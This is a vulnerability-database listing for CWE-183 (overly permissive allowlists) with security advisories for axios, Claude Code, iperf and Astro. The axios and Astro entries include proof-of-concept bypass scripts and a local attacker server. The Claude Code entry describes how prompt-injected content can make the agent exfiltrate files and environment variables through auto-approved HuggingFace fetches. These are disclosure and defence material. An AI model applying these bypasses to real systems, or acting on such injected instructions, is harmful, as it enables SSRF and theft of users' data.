CWE-183
AllowedPermissive List of Allowed Inputs
Abstraction: Base · Status: Draft
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.
93 vulnerabilities reference this CWE, most recent first.
GHSA-F4GW-2P7V-4548
Vulnerability from github – Published: 2026-07-20 22:20 – Updated: 2026-07-20 22:20Summary
Axios versions containing lib/helpers/shouldBypassProxy.js do not treat 0.0.0.0 as a local address when evaluating NO_PROXY rules. In Node.js applications that use HTTP_PROXY or HTTPS_PROXY together with NO_PROXY=localhost,127.0.0.1,::1 or similar, a request to http://0.0.0.0:<port>/ can be routed through the configured proxy instead of bypassing it.
The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay 0.0.0.0 to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.
Impact
Applications are affected when all of the following are true:
- The application runs axios in Node.js with the HTTP adapter.
- The process uses environment proxy variables such as
HTTP_PROXYorHTTPS_PROXY. - The process uses
NO_PROXYentries such aslocalhost,127.0.0.1, or::1to keep local traffic out of the proxy path. - Attacker-controlled input can influence the request URL or redirect target.
- The configured proxy does not reject
0.0.0.0and can reach the local destination.
For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.
Affected Functionality
Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:
lib/adapters/http.jscallsgetProxyForUrl(location)and thenshouldBypassProxy(location)before applying the proxy.lib/helpers/shouldBypassProxy.jsnormalizes and comparesNO_PROXYentries.- Explicit caller-provided
config.proxyremains trusted caller configuration. - Browser, React Native, XHR, and fetch adapter behavior are not affected.
Technical Details
lib/helpers/shouldBypassProxy.js defines local loopback equivalence through isLoopback(). The current implementation recognizes localhost, IPv4 127.0.0.0/8, IPv6 ::1, and IPv4-mapped loopback forms, but it does not include 0.0.0.0.
At lib/helpers/shouldBypassProxy.js:176, axios treats two hosts as matching when both are considered loopback:
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
Because isLoopback('0.0.0.0') returns false, NO_PROXY=localhost,127.0.0.1,::1 does not match http://0.0.0.0:<port>/. lib/adapters/http.js:185-193 then applies the environment proxy.
Proof of Concept of Attack
import http from 'http';
import axios from './index.js';
const listen = (handler, host = '127.0.0.1') =>
new Promise((resolve) => {
const server = http.createServer(handler);
server.listen(0, host, () => resolve(server));
});
const close = (server) => new Promise((resolve) => server.close(resolve));
const origin = await listen((req, res) => res.end('origin'), '0.0.0.0');
let proxyRequests = 0;
const proxy = await listen((req, res) => {
proxyRequests += 1;
res.end('proxied');
});
process.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;
process.env.HTTP_PROXY = process.env.http_proxy;
process.env.no_proxy = 'localhost,127.0.0.1,::1';
process.env.NO_PROXY = process.env.no_proxy;
try {
const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);
const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);
console.log({ direct: direct.data, zero: zero.data, proxyRequests });
} finally {
await close(origin);
await close(proxy);
}
Expected safe behavior: both 127.0.0.1 and 0.0.0.0 bypass the proxy when the NO_PROXY policy is intended to cover local destinations.
Observed behavior: 127.0.0.1 bypasses the proxy, while 0.0.0.0 is sent through the proxy.
Workarounds
- Add
0.0.0.0explicitly toNO_PROXYwhere local addresses must bypass proxies. - Reject or normalize
0.0.0.0in application URL validation before calling axios. - Set
proxy: falseon axios requests that must never use environment proxies. - Configure the proxy itself to reject
0.0.0.0, loopback, link-local, and internal address ranges.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.0"
},
{
"fixed": "0.33.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:20:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:\u003cport\u003e/` can be routed through the configured proxy instead of bypassing it.\n\nThe issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.\n\n## Impact\n\nApplications are affected when all of the following are true:\n\n- The application runs axios in Node.js with the HTTP adapter.\n- The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`.\n- The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path.\n- Attacker-controlled input can influence the request URL or redirect target.\n- The configured proxy does not reject `0.0.0.0` and can reach the local destination.\n\nFor plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.\n\n## Affected Functionality\n\nAffected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:\n\n- `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy.\n- `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries.\n- Explicit caller-provided `config.proxy` remains trusted caller configuration.\n- Browser, React Native, XHR, and fetch adapter behavior are not affected.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`.\n\nAt `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback:\n\n```js\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n```\n\nBecause `isLoopback(\u00270.0.0.0\u0027)` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:\u003cport\u003e/`. `lib/adapters/http.js:185-193` then applies the environment proxy.\n\n## Proof of Concept of Attack\n\n```js\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\nconst listen = (handler, host = \u0027127.0.0.1\u0027) =\u003e\n new Promise((resolve) =\u003e {\n const server = http.createServer(handler);\n server.listen(0, host, () =\u003e resolve(server));\n });\n\nconst close = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst origin = await listen((req, res) =\u003e res.end(\u0027origin\u0027), \u00270.0.0.0\u0027);\n\nlet proxyRequests = 0;\nconst proxy = await listen((req, res) =\u003e {\n proxyRequests += 1;\n res.end(\u0027proxied\u0027);\n});\n\nprocess.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;\nprocess.env.HTTP_PROXY = process.env.http_proxy;\nprocess.env.no_proxy = \u0027localhost,127.0.0.1,::1\u0027;\nprocess.env.NO_PROXY = process.env.no_proxy;\n\ntry {\n const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);\n const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);\n\n console.log({ direct: direct.data, zero: zero.data, proxyRequests });\n} finally {\n await close(origin);\n await close(proxy);\n}\n```\n\nExpected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations.\n\nObserved behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy.\n\n## Workarounds\n\n- Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies.\n- Reject or normalize `0.0.0.0` in application URL validation before calling axios.\n- Set `proxy: false` on axios requests that must never use environment proxies.\n- Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n`axios` versions 1.15.0\u20131.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` \u2014 the IPv4 unspecified address, which routes to the local machine on Linux and macOS.\n\nAn attacker who controls a URL passed to axios can use `http://0.0.0.0/\u003cpath\u003e` to bypass proxy-based SSRF filtering that the application relies upon.\n\n### Details\n## Affected versions\n\n`\u003e= 1.15.0, \u003c= 1.16.1`\n\nThe vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661).\n\n---\n\n## Root cause\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\n// Line 1 \u2014 static allowlist (incomplete)\nconst LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027]); // \u2190 0.0.0.0 missing\n\nconst isIPv4Loopback = (host) =\u003e {\n const parts = host.split(\u0027.\u0027);\n if (parts.length !== 4) return false;\n if (parts[0] !== \u0027127\u0027) return false; // \u2190 0.0.0.0: parts[0] = \u00270\u0027 \u2192 false\n return parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n};\n\nconst isLoopback = (host) =\u003e {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true; // \u2190 \u00270.0.0.0\u0027 not in set\n if (isIPv4Loopback(host)) return true; // \u2190 returns false for 0.0.0.0\n return isIPv6Loopback(host);\n};\n\nisLoopback(\u00270.0.0.0\u0027) returns false.\n\nNode\u0027s WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL(\u0027http://0177.0.0.1/\u0027).hostname \u2192 \u0027127.0.0.1\u0027 (octal), new URL(\u0027http://2130706433/\u0027).hostname \u2192 \u0027127.0.0.1\u0027 (decimal), new URL(\u0027http://0x7f000001/\u0027).hostname \u2192 \u0027127.0.0.1\u0027 (hex). Only 0.0.0.0 escapes normalisation.\n\n\n### PoC\n\u0027use strict\u0027;\n\n// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js\n\nconst LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027]);\n\nconst isIPv4Loopback = (host) =\u003e {\n const parts = host.split(\u0027.\u0027);\n if (parts.length !== 4) return false;\n if (parts[0] !== \u0027127\u0027) return false;\n return parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n};\n\nconst isLoopback = (host) =\u003e {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n return isIPv4Loopback(host);\n};\n\n// 1. Show URL parser does NOT normalise 0.0.0.0\nconsole.log(new URL(\u0027http://0.0.0.0/\u0027).hostname); // \u2192 \u00270.0.0.0\u0027 \u2190 NOT normalised\nconsole.log(new URL(\u0027http://0177.0.0.1/\u0027).hostname); // \u2192 \u0027127.0.0.1\u0027 \u2190 normalised (safe)\nconsole.log(new URL(\u0027http://2130706433/\u0027).hostname); // \u2192 \u0027127.0.0.1\u0027 \u2190 normalised (safe)\n\n// 2. Show isLoopback fails for 0.0.0.0\nconsole.log(isLoopback(\u00270.0.0.0\u0027)); // \u2192 false \u2190 BUG: should be true\nconsole.log(isLoopback(\u0027127.0.0.1\u0027)); // \u2192 true \u2190 correct\n\nVerified output on Node.js v22 / axios v1.16.1:\n0.0.0.0 \u2190 NOT normalised by URL parser\n127.0.0.1 \u2190 octal normalised correctly\n127.0.0.1 \u2190 decimal normalised correctly\nfalse \u2190 0.0.0.0 not detected as loopback \u26a0\ntrue \u2190 127.0.0.1 correctly detected\n\n### Impact\nApplications that:\n\nAccept user-supplied URLs and pass them to axios\nUse a proxy with NO_PROXY=localhost (or similar) for SSRF filtering\n\u2026can be bypassed by supplying http://0.0.0.0/\u003cpath\u003e. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine \u2014 exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.\n\nFix\nMinimal (one line):\n\n- const LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027]);\n+ const LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027, \u00270.0.0.0\u0027]);\n\nComprehensive:\n\nconst isIPv4Unspecified = (host) =\u003e host === \u00270.0.0.0\u0027;\n\nconst isLoopback = (host) =\u003e {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n if (isIPv4Loopback(host)) return true;\n if (isIPv4Unspecified(host)) return true; // add this line\n return isIPv6Loopback(host);\n};\n\u003c/details\u003e",
"id": "GHSA-f4gw-2p7v-4548",
"modified": "2026-07-20T22:20:18Z",
"published": "2026-07-20T22:20:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11001"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.33.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios"
}
GHSA-FG94-H982-F3MM
Vulnerability from github – Published: 2026-06-17 18:06 – Updated: 2026-07-20 21:10Because the hostname huggingface.co was pre-approved as a bare hostname for the WebFetch tool, any path on that domain—including attacker-controlled model repositories—was auto-approved without a permission prompt or being subject to --allowedTools restrictions. An attacker able to inject untrusted content into a Claude Code context could direct it to issue WebFetch requests against attacker-controlled repository files (e.g. /resolve/main/config.json), which HuggingFace counts as downloads server-side, creating a covert out-of-band channel for encoding and exfiltrating data Claude can access such as files, environment variables, or command output. Reliably exploiting this required the ability to add untrusted content into a Claude Code context window. Users on standard Claude Code auto-update have received this fix already; users performing manual updates are advised to update to the latest version.
Thank you to hackerone.com/novee for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@anthropic-ai/claude-code"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.54"
},
{
"fixed": "2.1.163"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54316"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-200",
"CWE-515"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T18:06:06Z",
"nvd_published_at": "2026-06-23T18:18:08Z",
"severity": "MODERATE"
},
"details": "Because the hostname huggingface.co was pre-approved as a bare hostname for the WebFetch tool, any path on that domain\u2014including attacker-controlled model repositories\u2014was auto-approved without a permission prompt or being subject to --allowedTools restrictions. An attacker able to inject untrusted content into a Claude Code context could direct it to issue WebFetch requests against attacker-controlled repository files (e.g. /resolve/main/config.json), which HuggingFace counts as downloads server-side, creating a covert out-of-band channel for encoding and exfiltrating data Claude can access such as files, environment variables, or command output. Reliably exploiting this required the ability to add untrusted content into a Claude Code context window. Users on standard Claude Code auto-update have received this fix already; users performing manual updates are advised to update to the latest version.\n\nThank you to hackerone.com/novee for reporting this issue.",
"id": "GHSA-fg94-h982-f3mm",
"modified": "2026-07-20T21:10:30Z",
"published": "2026-06-17T18:06:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-fg94-h982-f3mm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54316"
},
{
"type": "PACKAGE",
"url": "https://github.com/anthropics/claude-code"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Claude Code: Out-of-Band Data Exfiltration via Pre-Approved HuggingFace Domain in WebFetch"
}
GHSA-G636-8HGG-7GX9
Vulnerability from github – Published: 2024-03-18 15:30 – Updated: 2025-11-03 21:31A flaw was found in iperf, a utility for testing network performance using TCP, UDP, and SCTP. A malicious or malfunctioning client can send less than the expected amount of data to the iperf server, which can cause the server to hang indefinitely waiting for the remainder or until the connection gets closed. This will prevent other connections to the server, leading to a denial of service.
{
"affected": [],
"aliases": [
"CVE-2023-7250"
],
"database_specific": {
"cwe_ids": [
"CWE-183"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-18T13:15:06Z",
"severity": "MODERATE"
},
"details": "A flaw was found in iperf, a utility for testing network performance using TCP, UDP, and SCTP. A malicious or malfunctioning client can send less than the expected amount of data to the iperf server, which can cause the server to hang indefinitely waiting for the remainder or until the connection gets closed. This will prevent other connections to the server, leading to a denial of service.",
"id": "GHSA-g636-8hgg-7gx9",
"modified": "2025-11-03T21:31:01Z",
"published": "2024-03-18T15:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7250"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:4241"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:9185"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-7250"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2244707"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00027.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-G735-7G2W-HH3F
Vulnerability from github – Published: 2026-03-26 18:45 – Updated: 2026-03-26 18:45Summary
This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description
Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);
const isRemoteImage = isRemotePath(transform.src);
if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
return new Response('Forbidden', { status: 403 });
}
isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
return (
matchProtocol(url, remotePattern.protocol) &&
matchHostname(url, remotePattern.hostname, true) &&
matchPort(url, remotePattern.port) &&
matchPathname(url, remotePattern.pathname, true)
);
}
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
} else if (pathname.endsWith('/*')) {
const slicedPathname = pathname.slice(0, -1); // * length
const additionalPathChunks = url.pathname
.replace(slicedPathname, '')
.split('/')
.filter(Boolean);
return additionalPathChunks.length === 1;
}
Vulnerable code flow:
1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
image: {
remotePatterns: [
{ protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
{ protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
],
},
});
Affected pages
This PoC targets the /_image endpoint directly; no additional pages are required.
PoC Code
import http.client
import json
import urllib.parse
HOST = "127.0.0.1"
PORT = 4321
def fetch(path: str) -> dict:
conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp = conn.getresponse()
body = resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should fail
results = {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))
Attacker server
from http.server import BaseHTTPRequestHandler, HTTPServer
HOST = "127.0.0.1"
PORT = 9999
PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
<text>OK</text>
</svg>
"""
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f">>> {self.command} {self.path}")
if self.path.endswith(".svg") or "/img/" in self.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
return
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, format, *args):
return
if __name__ == "__main__":
server = HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()
PoC Steps
- Bootstrap default Astro project.
- Add the vulnerable config and attacker server.
- Build the project.
- Start the attacker server.
- Start the Astro server.
- Run the PoC.
- Observe the console output showing both the allowed and bypass requests returning the SVG payload.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "astro"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.10"
},
{
"fixed": "5.18.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33769"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:45:17Z",
"nvd_published_at": "2026-03-24T19:16:55Z",
"severity": "LOW"
},
"details": "## Summary\nThis issue concerns Astro\u0027s `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.\n\n## Impact\nAttackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.\n\n## Description\nTaint flow: request -\u003e `transform.src` -\u003e `isRemoteAllowed()` -\u003e `matchPattern()` -\u003e `matchPathname()`\n\nUser-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56\n\n```ts\nconst url = new URL(request.url);\nconst transform = await imageService.parseURL(url, imageConfig);\n\nconst isRemoteImage = isRemotePath(transform.src);\n\nif (isRemoteImage \u0026\u0026 isRemoteAllowed(transform.src, imageConfig) === false) {\n return new Response(\u0027Forbidden\u0027, { status: 403 });\n}\n```\n\n`isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21\n\n```ts\nexport function matchPattern(url: URL, remotePattern: RemotePattern): boolean {\n return (\n matchProtocol(url, remotePattern.protocol) \u0026\u0026\n matchHostname(url, remotePattern.hostname, true) \u0026\u0026\n matchPort(url, remotePattern.port) \u0026\u0026\n matchPathname(url, remotePattern.pathname, true)\n );\n}\n```\n\nThe vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99\n\n```ts\n} else if (pathname.endsWith(\u0027/*\u0027)) {\n const slicedPathname = pathname.slice(0, -1); // * length\n const additionalPathChunks = url.pathname\n .replace(slicedPathname, \u0027\u0027)\n .split(\u0027/\u0027)\n .filter(Boolean);\n return additionalPathChunks.length === 1;\n}\n```\n\n**Vulnerable code flow:**\n1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL.\n2. `matchPathname()` handles `pathname: \"/img/*\"` using `.replace()` on the URL path.\n3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it\u0027s not at the start.\n4. The image endpoint fetches and returns the remote resource.\n\n## PoC\n\nThe PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.\n\n### Vulnerable config\n```js\nimport { defineConfig } from \u0027astro/config\u0027;\nimport node from \u0027@astrojs/node\u0027;\n\nexport default defineConfig({\n output: \u0027server\u0027,\n adapter: node({ mode: \u0027standalone\u0027 }),\n image: {\n remotePatterns: [\n { protocol: \u0027https\u0027, hostname: \u0027cdn.example\u0027, pathname: \u0027/img/*\u0027 },\n { protocol: \u0027http\u0027, hostname: \u0027127.0.0.1\u0027, port: \u00279999\u0027, pathname: \u0027/img/*\u0027 },\n ],\n },\n});\n```\n\n### Affected pages\nThis PoC targets the `/_image` endpoint directly; no additional pages are required.\n\n### PoC Code\n```python\nimport http.client\nimport json\nimport urllib.parse\n\nHOST = \"127.0.0.1\"\nPORT = 4321\n\ndef fetch(path: str) -\u003e dict:\n conn = http.client.HTTPConnection(HOST, PORT, timeout=10)\n conn.request(\"GET\", path, headers={\"Host\": f\"{HOST}:{PORT}\"})\n resp = conn.getresponse()\n body = resp.read(2000).decode(\"utf-8\", errors=\"replace\")\n conn.close()\n return {\n \"path\": path,\n \"status\": resp.status,\n \"reason\": resp.reason,\n \"headers\": dict(resp.getheaders()),\n \"body_snippet\": body[:400],\n }\n\nallowed = urllib.parse.quote(\"http://127.0.0.1:9999/img/allowed.svg\", safe=\"\")\nbypass = urllib.parse.quote(\"http://127.0.0.1:9999/evil/img/secret.svg\", safe=\"\")\n\n# Both pass, second should fail\n\nresults = {\n \"allowed\": fetch(f\"/_image?href={allowed}\u0026f=svg\"),\n \"bypass\": fetch(f\"/_image?href={bypass}\u0026f=svg\"),\n}\n\nprint(json.dumps(results, indent=2))\n```\n\n### Attacker server\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nHOST = \"127.0.0.1\"\nPORT = 9999\n\nPAYLOAD = \"\"\"\u003csvg xmlns=\\\"http://www.w3.org/2000/svg\\\"\u003e\n \u003ctext\u003eOK\u003c/text\u003e\n\u003c/svg\u003e\n\"\"\"\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n print(f\"\u003e\u003e\u003e {self.command} {self.path}\")\n if self.path.endswith(\".svg\") or \"/img/\" in self.path:\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/svg+xml\")\n self.send_header(\"Cache-Control\", \"no-store\")\n self.end_headers()\n self.wfile.write(PAYLOAD.encode(\"utf-8\"))\n return\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain\")\n self.end_headers()\n self.wfile.write(b\"ok\")\n\n def log_message(self, format, *args):\n return\n\nif __name__ == \"__main__\":\n server = HTTPServer((HOST, PORT), Handler)\n print(f\"HTTP logger listening on http://{HOST}:{PORT}\")\n server.serve_forever()\n```\n\n### PoC Steps\n1. Bootstrap default Astro project.\n2. Add the vulnerable config and attacker server.\n3. Build the project.\n4. Start the attacker server.\n5. Start the Astro server.\n6. Run the PoC.\n7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.",
"id": "GHSA-g735-7g2w-hh3f",
"modified": "2026-03-26T18:45:17Z",
"published": "2026-03-26T18:45:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33769"
},
{
